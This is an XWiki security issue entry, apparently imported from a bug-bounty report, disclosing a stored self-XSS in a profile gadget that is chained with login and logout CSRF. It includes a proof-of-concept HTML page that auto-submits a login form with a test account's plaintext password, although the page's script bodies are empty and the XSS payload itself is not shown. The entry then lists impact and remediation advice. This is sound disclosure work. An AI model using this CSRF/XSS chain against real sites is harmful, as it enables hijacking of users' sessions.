Details
-
Security
-
Resolution: Fixed
-
Blocker
-
3.0 RC1
Description
SUBMISSION REFERENCES
- Submission code: XWIKI-OI3TXM87
- Submission URL: https://www.intigriti.com/auth/dashboard?redirect=/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-OI3TXM87
RESEARCHER INFORMATION
- Submitter: renniepak
SUBMISSION INFORMATION
- Created at: Tue, 08 Nov 2022 14:43:11 GMT
- Submission status: Archived
REPORT CONTENT
- Severity: High
- Domain: https://intigriti.xwiki.com/ (Url)
- Proof of concept: Hi XWiki team,
I've found a Stored (self) XSS in the Attachment Selector gadget that you can use in your profile editor. To abuse this I have chained CSRF on the logout endpoint and CSRF on the login endpoint, to redirect the victim to my account and payload.
-
- Reproduction
Navigate to my url: https://0-a.nl/xwiki/csrfxss.html
```html
<html>
<body>
<form action="https://intigriti.xwiki.com/xwiki/bin/loginsubmit/XWiki/XWikiLogin" method="POST">
<input type="hidden" name="xredirect" value="/xwiki/bin/edit/XWiki/renniepak4" />
<input type="hidden" name="form_token" value="" />
<input type="hidden" name="j_username" value="renniepak4" />
<input type="hidden" name="j_password" value="7Mei1984!" />
<input type="submit" value="Submit request" />
</form>
<script>
setTimeout(function()
, 1500);
setTimeout(function()
, 5000); // login attackers account
</script>
</body>
</html>
```
-
- Result
1. The victim will be logged out
2. The victim will be logged in to the attackers account and redirected to the profile edit page: https://intigriti.xwiki.com/xwiki/bin/edit/XWiki/renniepak4
3. Our payload triggers in the first tab:
-
- Vulnerable component
The component that has the stored XSS vulnerability can be viewed by going to:
https://intigriti.xwiki.com/xwiki/bin/edit/XWiki/renniepak4?category=dashboard (you should be logged in using the poc)
When clicking the pencil icon on the for the gadget called `test` you can view our payload:
{881142}- Impact: If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
- Perform any action within the application that the user can perform.
- View any information that the user is able to view.
- Modify any information that the user is able to modify.
- Personal data involved: No
- Recommended solution: In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:
- *Filter input on arrival.* At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
- *Encode data on output.* At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
- *Use appropriate response headers.* To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.
- *Content Security Policy.* As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.
- Endpoint: https://intigriti.xwiki.com/xwiki/bin/objectadd/XWiki/<username> https://intigriti.xwiki.com/xwiki/bin/save/XWiki/<username>
- Type: Stored Cross-Site Scripting
- Attachments: Screenshot 2022-11-08 153901.png, Screenshot 2022-11-08 153343.png
